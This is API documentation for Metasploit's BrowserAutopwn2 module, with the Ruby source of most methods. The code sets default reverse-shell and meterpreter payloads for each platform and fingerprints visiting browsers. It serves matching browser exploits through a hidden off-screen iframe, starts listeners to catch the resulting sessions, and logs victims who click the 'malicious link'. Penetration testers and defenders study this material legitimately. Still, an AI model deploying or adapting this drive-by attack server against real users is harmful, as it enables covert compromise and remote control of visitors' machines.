Module: Msf::Exploit::Remote::BrowserAutopwn2

Includes:
BrowserExploitServer
Defined in:
lib/msf/core/exploit/browser_autopwn2.rb

Constant Summary collapse

DEFAULT_PAYLOADS =

The default platform-specific payloads and preferred LPORTS. The hash key is the name of the platform that matches what's on the module. The loader order is specific while starting them up. Firefox payloads use generic handlers.

{
  firefox: { payload: 'firefox/shell_reverse_tcp',         lport: 4442 },
  android: { payload: 'android/meterpreter/reverse_tcp',   lport: 4443 },
  win:     { payload: 'windows/meterpreter/reverse_tcp',   lport: 4444 },
  linux:   { payload: 'linux/x86/meterpreter/reverse_tcp', lport: 4445 },
  unix:    { payload: 'cmd/unix/reverse',                  lport: 4446 },
  osx:     { payload: 'osx/x86/shell_reverse_tcp',         lport: 4447 },
  java:    { payload: 'java/meterpreter/reverse_tcp',      lport: 4448 },
  generic: { payload: 'generic/shell_reverse_tcp',         lport: 4459 }
}

Constants included from BrowserExploitServer

Msf::Exploit::Remote::BrowserExploitServer::DEFAULT_COOKIE_NAME, Msf::Exploit::Remote::BrowserExploitServer::PROXY_REQUEST_HEADER_SET, Msf::Exploit::Remote::BrowserExploitServer::REQUIREMENT_KEY_SET

Constants included from HttpServer::HTML

HttpServer::HTML::UTF_16_BE, HttpServer::HTML::UTF_16_BE_MARKER, HttpServer::HTML::UTF_16_LE, HttpServer::HTML::UTF_32_BE, HttpServer::HTML::UTF_32_LE, HttpServer::HTML::UTF_7, HttpServer::HTML::UTF_7_ALL, HttpServer::HTML::UTF_8, HttpServer::HTML::UTF_NONE

Instance Attribute Summary collapse

Attributes included from SocketServer

#service

Instance Method Summary collapse

Methods included from BrowserExploitServer

#cookie_header, #cookie_name, #extract_requirements, #get_bad_requirements, #get_detection_html, #get_module_resource, #get_module_uri, #get_payload, #get_target, #has_bad_activex?, #has_proxy?, #initialize, #js_vuln_test, #load_swf_detection, #on_request_exploit, #process_browser_info, #retrieve_tag, #send_exploit_html, #try_set_target

Methods included from Module::UI::Message::Verbose

#vprint_error, #vprint_good, #vprint_status, #vprint_warning

Methods included from Module::UI::Line::Verbose

#vprint_line

Methods included from BrowserProfileManager

#browser_profile, #clear_browser_profiles

Methods included from JSObfu

#initialize, #js_obfuscate

Methods included from Msf::Exploit::RopDb

#generate_rop_payload, #has_rop?, #initialize, #rop_junk, #rop_nop, #select_rop

Methods included from HttpServer::HTML

#encrypt_js, #heaplib, #initialize, #js_ajax_download, #js_ajax_post, #js_base64, #js_explib2, #js_explib2_payload, #js_heap_spray, #js_heaplib2, #js_ie_addons_detect, #js_misc_addons_detect, #js_mstime_malloc, #js_os_detect, #js_property_spray, #obfuscate_js, #send_response_html

Methods included from HttpServer

#add_resource, #add_robots_resource, #autofilter, #check_dependencies, #cli, #cli=, #close_client, #create_response, #fingerprint_user_agent, #get_resource, #get_uri, #hardcoded_uripath, #initialize, #print_prefix, #random_uri, #regenerate_payload, #remove_resource, #report_user_agent, #resource_uri, #send_local_redirect, #send_not_found, #send_redirect, #send_response, #send_robots, #srvhost_addr, #srvport, #use_zlib

Methods included from Auxiliary::Report

#active_db?, #create_cracked_credential, #create_credential, #create_credential_and_login, #create_credential_login, #db, #db_warning_given?, #get_client, #get_host, #inside_workspace_boundary?, #invalidate_login, #mytask, #myworkspace, #myworkspace_id, #report_auth_info, #report_client, #report_exploit, #report_host, #report_loot, #report_note, #report_service, #report_vuln, #report_web_form, #report_web_page, #report_web_site, #report_web_vuln, #store_cred, #store_local, #store_loot

Methods included from Metasploit::Framework::Require

optionally, optionally_active_record_railtie, optionally_include_metasploit_credential_creation, #optionally_include_metasploit_credential_creation, optionally_require_metasploit_db_gem_engines

Methods included from TcpServer

#initialize, #on_client_close, #on_client_connect, #ssl, #ssl_cert, #ssl_cipher, #ssl_compression

Methods included from SocketServer

#_determine_server_comm, #exploit, #initialize, #on_client_data, #primer, #regenerate_payload, #srvhost, #srvport, #stop_service, #via_string_for_ip

Instance Attribute Details

#bap_exploitsArray (readonly)

Returns A list of initialized BAP exploits.

Returns:

  • (Array)

    A list of initialized BAP exploits


17
18
19
# File 'lib/msf/core/exploit/browser_autopwn2.rb', line 17

def bap_exploits
  @bap_exploits
end

#exploit_job_idsArray (readonly)

Returns A list of exploit job IDs.

Returns:

  • (Array)

    A list of exploit job IDs


20
21
22
# File 'lib/msf/core/exploit/browser_autopwn2.rb', line 20

def exploit_job_ids
  @exploit_job_ids
end

#payload_job_idsArray (readonly)

Returns A list of payload job IDs.

Returns:

  • (Array)

    A list of payload job IDs


23
24
25
# File 'lib/msf/core/exploit/browser_autopwn2.rb', line 23

def payload_job_ids
  @payload_job_ids
end

#wanted_payloadsArray (readonly)

Returns Wanted payloads.

Returns:

  • (Array)

    Wanted payloads.


26
27
28
# File 'lib/msf/core/exploit/browser_autopwn2.rb', line 26

def wanted_payloads
  @wanted_payloads
end

Instance Method Details

#assign_module_resourceString

Returns a unique resource path.

Returns:

  • (String)

    A unique resource path.


173
174
175
176
177
178
179
180
181
# File 'lib/msf/core/exploit/browser_autopwn2.rb', line 173

def assign_module_resource
  resource = ''
  while
    resource = Rex::Text.rand_text_alpha(rand(10) + 4)
    break unless is_resource_taken?(resource)
  end

  resource
end

#browser_profile_prefixString

Returns a prefix type that's unique to this BAP (based on a timestamp & module uuid). This overrides Msf::Exploit::Remote::BrowserProfileManager#browser_profile_prefix so that BAP and all of its child exploits can share target information with each other. If BAP is active but there are other standalone BES exploits running, this allows them not to use (or cleanup) each other's data. Also, once requested, the method will not generate another profile prefix again, it will just return whatever's been stored in the @browser_profile_prefix instance variable.

Returns:

  • (String)

80
81
82
# File 'lib/msf/core/exploit/browser_autopwn2.rb', line 80

def browser_profile_prefix
  @browser_profile_prefix ||= "BAP.#{Time.now.to_i}.#{self.uuid}"
end

#build_html(cli, request) ⇒ String

Returns the HTML that serves our exploits.

Parameters:

Returns:

  • (String)

    HTML


747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
# File 'lib/msf/core/exploit/browser_autopwn2.rb', line 747

def build_html(cli, request)
  exploit_list = get_exploit_urls(cli, request)

  if datastore['MaxSessionCount'] > -1 && session_count >= datastore['MaxSessionCount']
    print_status("Exploits will not be served because you've reached the max session count of #{datastore['MaxSessionCount']}")
    if datastore['HTMLContent'].blank?
      send_not_found(cli)
      return ''
    else
      return datastore['HTMLContent']
    end
  elsif exploit_list.empty?
    print_status("No suitable exploits to send for #{cli.peerhost}")
    if datastore['HTMLContent'].blank?
      send_not_found(cli)
      return ''
    else
      return datastore['HTMLContent']
    end
  end


  # Some Flash exploits don't seem to work well with a hidden iframe.
  js = %Q|
  var exploitList = [#{exploit_list.map! {|e| "'#{e}'"} * ", "}];

  function setElementStyle(e, opts) {
    if (typeof e.style.setAttribute == 'undefined') {
      var attributeString = '';
      for (var key in opts) { attributeString += key + ":" + opts[key] + ";" }
      e.setAttribute("style", attributeString);
    } else {
      for (var key in opts) {
        e.style.setAttribute(key, opts[key]);
      }
    }
  }

  function moveIframe(e) {
    var opts = {
      'position': 'absolute',
      'left': screen.width * -screen.width
    }
    setElementStyle(e, opts);
  }

  window.onload = function() {
    var e = document.createElement("iframe");
    e.setAttribute("id", "myiframe");
    moveIframe(e);
    document.body.appendChild(e);
    loadExploit();
  }

  function loadExploit() {
    var e = document.getElementById("myiframe");
    var firstUri = exploitList.splice(0, 1);
    if (firstUri != '') {
      e.setAttribute("src", firstUri);
      setTimeout("loadExploit()", #{datastore['ExploitReloadTimeout']});
    }
  }
  |

  %Q|<html>
  <head>
  <meta http-equiv="cache-control" content="no-cache" />
  <script>
  #{js}
  </script>
  </head>
  <body>
  </body>
  </html>
  #{datastore['HTMLContent']}|
end

#cleanupvoid

This method returns an undefined value.

Cleans up everything such as profiles and jobs.

See Also:


110
111
112
113
114
115
116
117
# File 'lib/msf/core/exploit/browser_autopwn2.rb', line 110

def cleanup
  print_status("Cleaning up jobs...")
  super
  configure_job_output(false)
  clear_browser_profiles
  rm_exploit_jobs
  rm_payload_jobs
end

#configure_job_output(on = true) ⇒ void

This method returns an undefined value.

Configures the output of sub-jobs


496
497
498
499
500
501
502
503
504
505
506
# File 'lib/msf/core/exploit/browser_autopwn2.rb', line 496

def configure_job_output(on=true)
  (@exploit_job_ids + @payload_job_ids).each do |jid|
    job = framework.jobs[jid.to_s]
    next unless job
    job.ctx.each do |m|
      next unless m.respond_to? :user_output
      m.user_output = on ? self.user_output : nil
      break
    end
  end
end

#finalize_sorted_modules(bap_groups) ⇒ void

This method returns an undefined value.

Modifies @bap_exploit by replacing it with the rearranged module list.

Parameters:

  • bap_groups (Hash)

    A grouped module list.

See Also:


251
252
253
254
255
256
257
258
259
# File 'lib/msf/core/exploit/browser_autopwn2.rb', line 251

def finalize_sorted_modules(bap_groups)
  @bap_exploits = []
  bap_groups.each_pair do |ranking, module_list|
    module_list.each do |m|
      break if @bap_exploits.length >= datastore['MaxExploitCount']
      @bap_exploits << m
    end
  end
end

#get_custom_404_urlString

Returns the custom 404 URL set by the user

Returns:

  • (String)

737
738
739
# File 'lib/msf/core/exploit/browser_autopwn2.rb', line 737

def get_custom_404_url
  datastore['Custom404'].to_s
end

#get_exploit_urls(cli, request) ⇒ Array

Returns a list of exploit URLs. This is used by #build_html so the client can load our exploits one by one.

Parameters:

Returns:

  • (Array)

See Also:


655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
# File 'lib/msf/core/exploit/browser_autopwn2.rb', line 655

def get_exploit_urls(cli, request)
  urls = []

  exploit_list = get_suitable_exploits(cli, request)

  exploit_list.each do |mod|
    proto = datastore['SSL'] ? 'https' : 'http'
    # We haven't URIHOST and URIPORT into account here because
    # the framework uses them only on `get_uri`
    host = ''
    if datastore['URIHOST'] && datastore['URIHOST'] != '0.0.0.0'
      host = datastore['URIHOST']
    elsif datastore['SRVHOST'] && datastore['SRVHOST'] != '0.0.0.0'
      host = datastore['SRVHOST']
    else
      host = Rex::Socket.source_address
    end
    if datastore['URIPORT'] && datastore['URIPORT'] != 0
      port = datastore['URIPORT']
    else
      port = datastore['SRVPORT']
    end

    resource = mod.datastore['URIPATH']
    url = "#{proto}://#{host}:#{port}#{resource}"
    urls << url
  end

  urls
end

#get_payload_lhostString

Returns the selected payload's LHOST. If no LHOST is set by the user (via the datastore option), then the method automatically generates one by Rex.

Returns:

  • (String)

295
296
297
# File 'lib/msf/core/exploit/browser_autopwn2.rb', line 295

def get_payload_lhost
  datastore['LHOST'] || Rex::Socket.source_address
end

#get_selected_payload_lport(platform) ⇒ Integer

Returns the selected payload's LPORT.

Parameters:

  • platform (Symbol)

Returns:

  • (Integer)

286
287
288
# File 'lib/msf/core/exploit/browser_autopwn2.rb', line 286

def get_selected_payload_lport(platform)
  datastore["PAYLOAD_#{platform.to_s.upcase}_LPORT"]
end

#get_selected_payload_name(platform) ⇒ String

Returns a payload name. Either this will be the user's choice, or falls back to a default one.

Parameters:

  • platform (Symbol)

    Platform name.

Returns:

  • (String)

    Payload name.

See Also:


267
268
269
270
271
272
273
274
275
276
277
278
279
# File 'lib/msf/core/exploit/browser_autopwn2.rb', line 267

def get_selected_payload_name(platform)
  payload_name = datastore["PAYLOAD_#{platform.to_s.upcase}"]

  # The payload is legit, we can use it.
  # Avoid #create seems faster
  return payload_name if framework.payloads.keys.include?(payload_name)

  default = DEFAULT_PAYLOADS[platform][:payload]

  # The user has configured some unknown payload that we can't use,
  # fall back to default.
  default
end

#get_suitable_exploits(cli, request) ⇒ Array

Returns a list of suitable exploits for the current client based on what #sort_bap_exploits gives us. It will do a global exploitable requirement check (the best it can do). There's actually a target-specific exploitable requirement check too, but that is performed in BrowserExploitServer while the exploit is being served. In other words, it is possible #get_suitable_exploits might not be 100% accurate (but pretty good, it depends on how the exploit dev accurately defines his/her global requirements), but the exploit always has a choice to bail at the last second if it decides it is actually not suitable for the client. That way we don't risk being too wreckless with our attack.

Parameters:

Returns:

  • (Array)

589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
# File 'lib/msf/core/exploit/browser_autopwn2.rb', line 589

def get_suitable_exploits(cli, request)
  current_exploit_list = []
  tag = retrieve_tag(cli, request)
  profile_info = browser_profile[tag]
  bap_exploits.each do |m|
    if m.get_bad_requirements(profile_info).empty?
      current_exploit_list << m
    end
  end

  if datastore['ShowExploitList']
    show_exploit_list(cli.peerhost, tag, current_exploit_list)
  end

  current_exploit_list
end

#group_bap_modulesHash

Breaks @bap_exploits into groups for sorting purposes.

Returns:

  • (Hash)

    A module list grouped by rank.

See Also:


233
234
235
236
237
238
239
240
241
242
243
# File 'lib/msf/core/exploit/browser_autopwn2.rb', line 233

def group_bap_modules
  bap_groups = {}
  RankingName.each_pair do |ranking, value|
    bap_groups[ranking] = []
    bap_exploits.each do |m|
      next if m.rank != ranking
      bap_groups[ranking] << m
    end
  end
  bap_groups
end

#init_exploitsvoid

This method returns an undefined value.

Returns all the found exploit modules that support BrowserExploitServer by going through all the exploits from the framework object. All the usable exploits will be stored in #bap_exploits.


49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
# File 'lib/msf/core/exploit/browser_autopwn2.rb', line 49

def init_exploits
  # First we're going to avoid using #find_all because that gets very slow.
  framework.exploits.each_pair do |fullname, place_holder|
    # If the place holder isn't __SYMBOLIC__, then that means the module is initialized,
    # and that's gotta be the active browser autopwn.
    next if !fullname.include?('browser') || self.fullname == "exploit/#{fullname}"

    # The user gets to specify which modules to include/exclude
    next if datastore['INCLUDE_PATTERN'] && fullname !~ datastore['INCLUDE_PATTERN']
    next if datastore['EXCLUDE_PATTERN'] && fullname =~ datastore['EXCLUDE_PATTERN']

    mod = framework.exploits.create(fullname)
    unless mod
      print_status("Failed to load: #{fullname}")
      next
    end
    if mod.kind_of?(Msf::Exploit::Remote::BrowserExploitServer)
      @bap_exploits << mod
    end
  end
end

#is_ip_targeted?(cli_ip) ⇒ TrueClass, FalseClass

Returns true if the IP is on our whitelist.

Parameters:

  • cli_ip (String)

    Client's IP.

Returns:

  • (TrueClass)

    The IP is on the whitelist.

  • (FalseClass)

    The IP is not on the whitelist.


711
712
713
714
# File 'lib/msf/core/exploit/browser_autopwn2.rb', line 711

def is_ip_targeted?(cli_ip)
  return true unless @whitelist
  @whitelist.include?(cli_ip)
end

#is_multi_platform_exploit?(m) ⇒ TrueClass, FalseClass

Checks if the module is multi-platform based on the directory path.

Parameters:

  • m (Object)

    Module.

Returns:

  • (TrueClass)

    is multi-platform.

  • (FalseClass)

    is not multi-platform.


403
404
405
# File 'lib/msf/core/exploit/browser_autopwn2.rb', line 403

def is_multi_platform_exploit?(m)
  m.fullname.include?('multi/')
end

#is_payload_compatible?(compatible_payloads, payload_name) ⇒ TrueClass, FalseClass

Checks whether the payload is compatible with the module based on the module's compatibility list

Parameters:

  • compatible_payloads (Array)

    A list of payloads that are compatible

  • payload_name (String)

Returns:

  • (TrueClass)

    Payload is compatible.

  • (FalseClass)

    Payload is not compatible.


389
390
391
392
393
394
395
# File 'lib/msf/core/exploit/browser_autopwn2.rb', line 389

def is_payload_compatible?(compatible_payloads, payload_name)
  compatible_payloads.each do |k|
    return true if k[0] == payload_name
  end

  false
end

#is_payload_platform_compatible?(m, payload_platform) ⇒ TrueClass, FalseClass

Checks whether the payload is compatible with the module based on platform information. Best for single-platform modules and for performance.

Parameters:

  • m (Object)

    Module.

  • payload_platform (Symbol)

    Payload platform.

Returns:

  • (TrueClass)

    Payload is compatible.

  • (FalseClass)

    Payload is not compatible.


370
371
372
373
374
375
376
377
378
379
380
# File 'lib/msf/core/exploit/browser_autopwn2.rb', line 370

def is_payload_platform_compatible?(m, payload_platform)
  begin
    platform_obj = Msf::Module::Platform.find_platform(payload_platform.to_s)
  rescue ArgumentError
    false
  end

  return true if platform_obj && m.platform.platforms.include?(platform_obj)

  false
end

#is_resource_taken?(resource) ⇒ TrueClass, FalseClass

Checks if a resource is already taken or not.

Parameters:

  • resource (String)

    The resource to check.

Returns:

  • (TrueClass)

    Resource is taken.

  • (FalseClass)

    Resource is not taken.


156
157
158
159
160
161
162
163
164
165
166
167
# File 'lib/msf/core/exploit/browser_autopwn2.rb', line 156

def is_resource_taken?(resource)
  taken = false

  bap_exploits.each do |m|
    # Prevent partial matching of one resource within another
    next unless m.datastore['URIPATH']
    return true if m.datastore['URIPATH'].index(resource)
    return true if resource.index(m.datastore['URIPATH'])
  end

  taken
end

#log_click(ip, data = '') ⇒ void

This method returns an undefined value.

Logs a click that includes the suitable exploit list.

Parameters:

  • ip (String)

    The target's IP address.

  • data (String) (defaults to: '')

    (Optional) CSV data that contains the exploit list.


612
613
614
615
616
617
618
# File 'lib/msf/core/exploit/browser_autopwn2.rb', line 612

def log_click(ip, data='')
  report_note(
    :host => ip,
    :type => 'bap.clicks',
    :data => data,
    :update => :unique)
end

#on_request_uri(cli, request) ⇒ void

This method returns an undefined value.

Handles client requests specific for BAP.

Parameters:


692
693
694
695
696
697
698
699
700
701
702
703
# File 'lib/msf/core/exploit/browser_autopwn2.rb', line 692

def on_request_uri(cli, request)
  # Check if target is on our whitelist
  if @whitelist && !is_ip_targeted?(cli.peerhost)
    print_status("Client #{cli.peerhost} is trying to connect but not on our whitelist.")
    send_not_found(cli)
    return
  end

  log_click(cli.peerhost)

  super
end

#parse_rank(rank) ⇒ String

Returns the human-readable version of the rank.

Parameters:

  • rank (Integer)

Returns:

  • (String)

358
359
360
# File 'lib/msf/core/exploit/browser_autopwn2.rb', line 358

def parse_rank(rank)
  RankingName[rank].to_s.capitalize
end

#rm_exploit_jobsvoid

This method returns an undefined value.

Removes background exploit jobs that belong to BAP.


87
88
89
90
91
92
# File 'lib/msf/core/exploit/browser_autopwn2.rb', line 87

def rm_exploit_jobs
  exploit_job_ids.each do |id|
    framework.jobs.stop_job(id) if framework.jobs[id.to_s]
    sleep(0.1)
  end
end

#rm_payload_jobsvoid

This method returns an undefined value.

Removes background payload jobs that belong to BAP.


98
99
100
101
102
# File 'lib/msf/core/exploit/browser_autopwn2.rb', line 98

def rm_payload_jobs
  payload_job_ids.each do |id|
    framework.jobs.stop_job(id) if framework.jobs[id.to_s]
  end
end

#select_payload(m) ⇒ Array

Returns an appropriate payload that's compatible with the module.

Parameters:

  • m (Object)

    A module that's been initialized.

Returns:

  • (Array)

    Payload name. Example: 'windows/meterpreter/reverse_tcp'


412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
# File 'lib/msf/core/exploit/browser_autopwn2.rb', line 412

def select_payload(m)
  compatible_payloads = []

  module_payloads = nil

  DEFAULT_PAYLOADS.each_pair do |platform, info|
    payload_choice = {
      :payload_name => get_selected_payload_name(platform),
      :payload_lport => get_selected_payload_lport(platform)
    }

    if !is_multi_platform_exploit?(m) && !m.platform.platforms.empty? && is_payload_platform_compatible?(m, platform)
      compatible_payloads << payload_choice
      break
    else
      # The #compatible_payloads method is super expensive (slow). By doing it this way,
      # I managed to shave off seconds.
      module_payloads ||= m.compatible_payloads

      if is_payload_compatible?(module_payloads, payload_choice[:payload_name])
        compatible_payloads << payload_choice
      end
    end
  end

  @wanted_payloads.concat(compatible_payloads)

  compatible_payloads
end

#session_countInteger

Returns a number of sessions obtained by BAP's payload handlers.

Returns:

  • (Integer)

    A session count.


720
721
722
723
724
725
726
727
728
729
730
731
# File 'lib/msf/core/exploit/browser_autopwn2.rb', line 720

def session_count
  total = 0

  payload_job_ids.each do |id|
    job_workspace = framework.jobs[id.to_s].ctx.first.datastore['WORKSPACE']
    if job_workspace == self.workspace
      total += framework.jobs[id.to_s].ctx.first.session_count
    end
  end

  total
end

#set_exploit_options(xploit) ⇒ void

This method returns an undefined value.

Modifies an exploit's default datastore options. Some of them are user-configurable, some must be defined by BAP.


124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
# File 'lib/msf/core/exploit/browser_autopwn2.rb', line 124

def set_exploit_options(xploit)
  # We could do a massive xploit.datastore.merge!(self.datastore), but this seems
  # really expensive. Costs more loading time.

  # Set options configurable by the user.
  p = select_payload(xploit)
  xploit.datastore['PAYLOAD']     = p.first[:payload_name]
  xploit.datastore['LPORT']       = p.first[:payload_lport]
  xploit.datastore['SRVHOST']     = datastore['SRVHOST']
  xploit.datastore['SRVPORT']     = datastore['SRVPORT']
  xploit.datastore['LHOST']       = get_payload_lhost

  %w(JsObfuscate CookieName VERBOSE Retries SSL SSLVersion SSLCipher URIHOST URIPORT).each do |opt|
    xploit.datastore[opt] = datastore[opt] if datastore[opt]
  end

  # Set options only configurable by BAP.
  xploit.datastore['DisablePayloadHandler'] = true
  xploit.datastore['BrowserProfilePrefix']  = browser_profile_prefix
  xploit.datastore['URIPATH']               = "/#{assign_module_resource}"
  xploit.datastore['WORKSPACE']             = self.workspace

  # Register this module as a child and copy datastore options
  xploit.register_parent(self)
end

#setupvoid

This method returns an undefined value.

Sets up BAPv2. This is like our main function.


465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
# File 'lib/msf/core/exploit/browser_autopwn2.rb', line 465

def setup
  t1 = Time.now

  super
  @bap_exploits    = []
  @exploit_job_ids = []
  @payload_job_ids = []
  @wanted_payloads = []

  # #split might be expensive if the file is really big
  @whitelist = datastore['AllowedAddresses'] ? datastore['AllowedAddresses'].split : nil

  print_status("Searching BES exploits, please wait...")
  init_exploits
  sort_bap_exploits

  print_status("Starting exploit modules...")
  start_exploits

  print_status("Starting listeners...")
  start_payload_listeners

  t2 = Time.now
  print_status("Time spent: #{(t2-t1).inspect}")

  configure_job_output(true)
end

#show_exploit_list(ip, tag, current_exploit_list) ⇒ void

This method returns an undefined value.

Prints a list of suitable exploits for the current list.


626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
# File 'lib/msf/core/exploit/browser_autopwn2.rb', line 626

def show_exploit_list(ip, tag, current_exploit_list)
  order = 1
  table = Rex::Text::Table.new(
    'Header'  => '',
    'Indent'  => 1,
    'Columns' => ['Order', 'IP', 'Exploit']
  )
  current_exploit_list.each do |m|
    table << [order, ip, m.shortname]
    order += 1
  end

  if table.rows.empty?
    print_status("User #{cli.peerhost} (Tag: #{tag}) visited our malicious link, but no exploits found suitable.")
  else
    # Update the exploit list data
    log_click(cli.peerhost, table.to_csv)
    print_status("Exploits found suitable for #{cli.peerhost} (Tag: #{tag})#{table}")
  end
end

#show_ready_exploitsvoid

This method returns an undefined value.

Prints all the exploits that BAP will consider using. But this isn't the actual list of exploits that BAP will use for each target.


513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
# File 'lib/msf/core/exploit/browser_autopwn2.rb', line 513

def show_ready_exploits
  columns = ['Order', 'Rank', 'Name', 'Path', 'Payload']

  # If not verbose, you're not in dev mode.
  # As an user, you shouldn't be using any of these paths anyway.
  columns.delete('Path') if !datastore['VERBOSE']

  table = Rex::Text::Table.new(
    'Header'  => 'Exploits',
    'Indent'  => 1,
    'Columns' => columns
  )

  # Without the order, sometimes the Rex table messes up even though in the array
  # the order looks right. So don't get rid of this.
  order = 1

  bap_exploits.each do |m|
    row = []
    row << order
    row << parse_rank(m.rank)
    row << m.shortname
    row << m.datastore['URIPATH'] if datastore['VERBOSE']
    row << "#{m.datastore['PAYLOAD']} on #{m.datastore['LPORT']}"
    table << row
    order += 1
  end

  print_line
  print_status("The following is a list of exploits that BrowserAutoPwn will consider using.")
  print_status("Exploits with the highest ranking and newest will be tried first.")
  print_line
  print_line table.to_s
end

#sort_bap_exploitsvoid

This method returns an undefined value.

Modifies @bap_exploits by sorting. The newest and with the highest ranking goes on top. This method is part of what makes BAP smarter. However, the list rearranged by this exploit will not actually be the same exploit list served to every client. When a client a request, #get_suitable_exploits will generate another list that will actually be used by the client by going through what we have here, and filter out all the exploit modules that don't match the target's requirements.


198
199
200
201
202
203
# File 'lib/msf/core/exploit/browser_autopwn2.rb', line 198

def sort_bap_exploits
  bap_groups = group_bap_modules
  bap_groups = sort_date_in_group(bap_groups)
  bap_groups = sort_group_by_rank(bap_groups)
  finalize_sorted_modules(bap_groups)
end

#sort_date_in_group(bap_groups) ⇒ Hash

Sorts a grouped module list by disclosure date.

Parameters:

  • bap_groups (Hash)

    A grouped module list.

Returns:

  • (Hash)

    A hash with each module list sorted by disclosure date.


210
211
212
213
214
215
216
217
# File 'lib/msf/core/exploit/browser_autopwn2.rb', line 210

def sort_date_in_group(bap_groups)
  bap_groups.each_pair do |ranking, module_list|
    bap_groups[ranking] = module_list.sort_by {|m|
      dstr = m.disclosure_date || "1970-01-01"
      Date.parse(dstr) rescue Date.parse("1970-01-01")
    }.reverse
  end
end

#sort_group_by_rank(bap_groups) ⇒ Hash

Sorts a module list by ranking.

Parameters:

  • bap_groups (Hash)

    A grouped module list.

Returns:

  • (Hash)

    A hash grouped by ranking.


224
225
226
# File 'lib/msf/core/exploit/browser_autopwn2.rb', line 224

def sort_group_by_rank(bap_groups)
  Hash[bap_groups.sort_by {|k,v| k}.reverse]
end

#start_exploitsvoid

This method returns an undefined value.

Starts exploits.


446
447
448
449
450
451
452
453
454
455
456
457
458
459
# File 'lib/msf/core/exploit/browser_autopwn2.rb', line 446

def start_exploits
  bap_exploits.each do |m|
    set_exploit_options(m)
    m.exploit_simple(
      'LocalInput'  => nil,
      'LocalOutput' => nil,
      'Quiet'       => true,
      'Target'      => 0,
      'Payload'     => m.datastore['PAYLOAD'],
      'RunAsJob'    => true
    )
    @exploit_job_ids << m.job_id
  end
end

#start_payload_listenersvoid

Note:

FireFox payload is skipped because there's no handler for it.

This method returns an undefined value.

Creates payload listeners. The active job IDs will be tracked in #payload_job_ids so that we know how to find them and then clean them up.

See Also:


306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
# File 'lib/msf/core/exploit/browser_autopwn2.rb', line 306

def start_payload_listeners
  # Spawn nothing if the user doesn't want to pop sessions.
  return if datastore['MaxSessionCount'] == 0

  # Don't repeat launching payload handlers
  wanted_payloads.uniq! { |e| e[:payload_name] }

  wanted_payloads.each do |wanted|
    multi_handler = framework.exploits.create('multi/handler')

    # We have to special case firefox
    payload_name = wanted[:payload_name].include?('firefox/') ? wanted[:payload_name].gsub('firefox/', 'generic/') : wanted[:payload_name]

    # User-configurable options
    # multi_handler.datastore.merge!(self.datastore) could be used, but
    # really expensive. Costs more loading time.
    multi_handler.datastore['LHOST']                = get_payload_lhost
    multi_handler.datastore['PAYLOAD']              = payload_name
    multi_handler.datastore['LPORT']                = wanted[:payload_lport]

    %w(DebugOptions PrependMigrate PrependMigrateProc
       InitialAutoRunScript AutoRunScript CAMPAIGN_ID HandlerSSLCert
       StagerVerifySSLCert PayloadUUIDTracking PayloadUUIDName
       IgnoreUnknownPayloads SessionRetryTotal SessionRetryWait
       SessionExpirationTimeout SessionCommunicationTimeout).each do |opt|
      multi_handler.datastore[opt] = datastore[opt] if datastore[opt]
    end

    # Configurable only by BAP
    multi_handler.datastore['ExitOnSession'] = false
    multi_handler.datastore['EXITFUNC']      = 'thread'
    multi_handler.datastore['WORKSPACE']     = self.workspace

    # Register this module as a child and copy datastore options
    multi_handler.register_parent(self)

    # Now we're ready to start the handler
    multi_handler.exploit_simple(
      'LocalInput' => nil,
      'LocalOutput' => nil,
      'Payload' => payload_name,
      'RunAsJob' => true
    )
    @payload_job_ids << multi_handler.job_id
  end
end

#start_servicevoid

This method returns an undefined value.

Prints information such as what exploits will be used, and the BAP URL.


552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
# File 'lib/msf/core/exploit/browser_autopwn2.rb', line 552

def start_service
  super
  show_ready_exploits
  proto = (datastore['SSL'] ? "https" : "http")

  if datastore['URIHOST'] && datastore['URIHOST'] != '0.0.0.0'
    srvhost = datastore['URIHOST']
  elsif datastore['SRVHOST'] && datastore['SRVHOST'] != '0.0.0.0'
    srvhost = datastore['SRVHOST']
  else
    srvhost = Rex::Socket.source_address
  end

  if datastore['URIPORT'] && datastore['URIPORT'] != 0
    srvport = datastore['URIPORT']
  else
    srvport = datastore['SRVPORT']
  end

  service_uri = "#{proto}://#{srvhost}:#{srvport}#{get_resource}"
  print_good("Please use the following URL for the browser attack:")
  print_good("BrowserAutoPwn URL: #{service_uri}")
end